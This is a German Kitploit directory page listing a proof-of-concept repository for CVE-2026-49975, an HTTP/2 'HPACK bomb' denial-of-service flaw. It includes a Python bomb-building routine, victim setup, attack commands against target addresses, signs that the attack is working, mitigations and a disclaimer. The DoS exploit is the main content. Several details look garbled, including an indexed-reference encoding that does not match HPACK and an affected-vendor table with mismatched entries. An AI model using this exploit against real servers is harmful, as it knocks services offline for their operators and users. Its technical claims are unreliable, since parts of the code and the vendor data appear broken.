Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-49975-http2bomb_reproduction — PoC-Exploit für CVE-2026-49975 HTTP/2 Bomb DoS-Sicherheitslücke. Zeigt, wie eine HPACK indexed reference bomb in Kombination mit einer flow-control window stall den Serverspeicher über eine einzelne Verbindung erschöpft. | Kitploit
Tools/GitHubGitHub/razureink/cve-2026-49975-http2bomb_reproduction
SchwachstellenanalyseExploitationWebsicherheitNetzwerksicherheitPapers & ForschungLernen & Bildung
GitHubrazureink/cve-2026-49975-http2bomb_reproduction

cve-2026-49975-http2bomb_reproduction

PoC-Exploit für CVE-2026-49975 HTTP/2 Bomb DoS-Sicherheitslücke. Zeigt, wie eine HPACK indexed reference bomb in Kombination mit einer flow-control window stall den Serverspeicher über eine einzelne Verbindung erschöpft.

Repository anzeigen
1134vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-49975 (HTTP/2 Bomb) Vollständige Reproduktionsanleitung

Basierend auf QiAnXin CERT Advisory + Calif Original Research

================================================================

I. Schwachstellenübersicht

CVE-2026-49975 ist eine kritische Denial-of-Service-(DoS-)Schwachstelle in HTTP/2-Server- und Proxy-Implementierungen. Der Angriff, der als „HTTP/2 Bomb" oder „HPACK Bomb" bezeichnet wird, nutzt zwei Verhaltensweisen auf Designebene im HTTP/2-Protokoll aus, um ein Ziel zu unbegrenztem Speicherverbrauch (OOM) und CPU-Erschöpfung zu zwingen:

  1. HPACK Indexed Reference Blow-up – ein kleines HEADERS-Frame, das logisch tausende Male auf denselben Cookie-Eintrag über HPACK-Indexed-Referenzen verweist. Beim Dekodieren kann der HPACK-Decoder des Peers Speicher proportional zur Anzahl der Referenzen zuweisen, nicht zur Wire-Größe.
  2. Flow-Control Window Stalling – kombiniert mit einem anfänglichen Fenster von null stellt der Sender HEADERS-Daten in die Warteschlange, aber der Empfänger weigert sich zu lesen, bis Fenster-Updates eintreffen; Puffer füllen sich und der Speicherdruck wächst.

CVSS 3.1 Base Score: 9.8 (Kritisch)
Vektor: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

II. Angriffsprinzip (zweistufige Kombination)

Der Angriff ist am effektivsten, wenn die beiden Stufen einander ergänzen, aber jede Stufe allein ist gegen einige Implementierungen ausreichend.

Stufe 1: HPACK Indexed Reference Bomb

Die HPACK-Header-Komprimierung von HTTP/2 verwendet eine sich entwickelnde dynamische Tabelle. Sobald ein großer Cookie-Header in die Tabelle eingefügt wurde (über Literal+Incremental Encoding), kann ein Angreifer mit einem 1-Byte-Opcode auf diesen Eintrag verweisen. Wiederholte Referenzen veranlassen den Decoder, denselben Header immer wieder zu rekonstruieren.

Wire:  [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
    ↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.

Ein 5-KB-Paket kann zu Hunderten von Megabyte dekodierter Nutzlast anwachsen.

Stufe 2: HTTP/2-Fenster-Stalling

SETTINGS mit INITIAL_WINDOW_SIZE=0 zwingt das Opfer, alle HEADERS-/Continuation-Daten in die Warteschlange zu stellen. Der Angreifer tröpfelt WINDOW_UPDATE-Frames langsam heraus. Die Puffer bleiben kombinatorisch voll.

MechanismusVerstärkungsfaktor
roher HEADERS-Body1x
HPACK-Ref-Aufblähung20–80x
+ gleichzeitige Streams100–500x
+ Fenster-Stalling1000x+

III. Betroffene Server

Hersteller / ProjektVersionBeschreibung
Apache mod_http2< 2.0.13OOM bei Aufblähung indizierter Referenzen
nghttp2< 1.62.0unbegrenzte Speicheraufblähung
h2o< 4.0.2Endlosschleife im Decoder
Node.js http2 crate< 1.12.0intrinsische Expansion in nghttp2-rs
Go net/http (h2)< 1.24Goroutine-Hänger + OSL-Allokation
Apache Traffic Server< 9.3.0OOM über internen Puffer
HAProxy h2< 2.9Absturz bei übergroßem AVP
Envoy< 1.30massive Allokation in der Flusskontrolle
Rust hyper/h2 crate< 5.14Panik bei Überlauf SK

Konsultieren Sie den CVE-Eintrag Ihres Herstellers für exakte Grenzwerte.

IV. Einrichtung der Umgebung

# Python 3.8+ with ssl support
python --version

# SSL Certificate optional; PoC sets CERT_NONE

Docker-Schnellopfer:

docker run -d --name h2-victim -p 4433:443 \
    nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null

V. Exploit-Code

Das Begleitskript ist exploit.py.

Die Kernroutine:

def build_hpack_bomb(num_headers: int = 20000) -> bytes:
    cookie_name = b"cookie"
    cookie_value = "a=" + "y" * 128
    data = bytearray()
    # Step 1: insert cookie into dynamic table
    data.append(0x40)  # Literal+incremental
    data.extend(encode_hpack_int(len(cookie_name), 7))
    data.extend(cookie_name)
    data.extend(encode_hpack_int(len(cookie_value), 7))
    data.extend(cookie_value.encode())
    # Step 2: spam Indexed refs (index 63)
    for _ in range(num_headers):
        data.append(0x80)
        data.extend(encode_hpack_int(63, 7))
    return bytes(data)

Das Skript führt Folgendes aus:

  • TLS-Verbindung zu host:port
  • HTTP/2-PRI-Präfix + SETTINGS mit window=0
  • sendet die HPACK-Bombe als HEADERS
  • sendet optional ein langsames WINDOW_UPDATE-Trickle
  • misst die RTT-Verschlechterung über PING-Frames

VI. Verwendung

# Basic run (default 10000 refs)
python exploit.py 192.168.1.100

# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000

# Disable window stall
python exploit.py endpoint.com --no-stall

# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60

# Verbose
python exploit.py 10.0.0.5 -v

VII. Überprüfung der Angriffseffektivität

Überwachen Sie die Ressourcen des Opfers:

watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>

Anzeichen dafür, dass der Angriff wirkt:

  • RSS des Opfers wächst >500 MB
  • CPU springt auf 100%
  • PING-Latenzen überschreiten 1 Sekunde
  • Verbindungen laufen in ein Timeout

VIII. Gegenmaßnahmen

AnsatzEinstellung
Header pro Stream begrenzenMaxHeaderCount 500
Geringe Kompression ablehnenVerhältnis-Schwellenwert < 5
HPACK-Wachstum begrenzendynamische Tabelle auf 1 KB begrenzen
Speicher pro Verbindungnach N MB ablehnen
Ratenbegrenzunggenerisch conn/s, req/s

IX. Haftungsausschluss

Diese Informationen dienen ausschließlich Bildungszwecken und autorisierten Sicherheitstests. Führen Sie sie nur gegen Systeme aus, die Ihnen gehören oder für die Sie eine schriftliche Testgenehmigung haben.

Referenzen

  • CVE-2026-49975 Mitre
  • QiAnXin CERT Advisory (ursprüngliches Mandarin-/Englisch-Bulletin)
  • Calif, A. The HTTP/2 Bomb: HPAK indexed OOM. Black Hat 2025
  • RFC 7541, RFC 9113
Tool herunterladen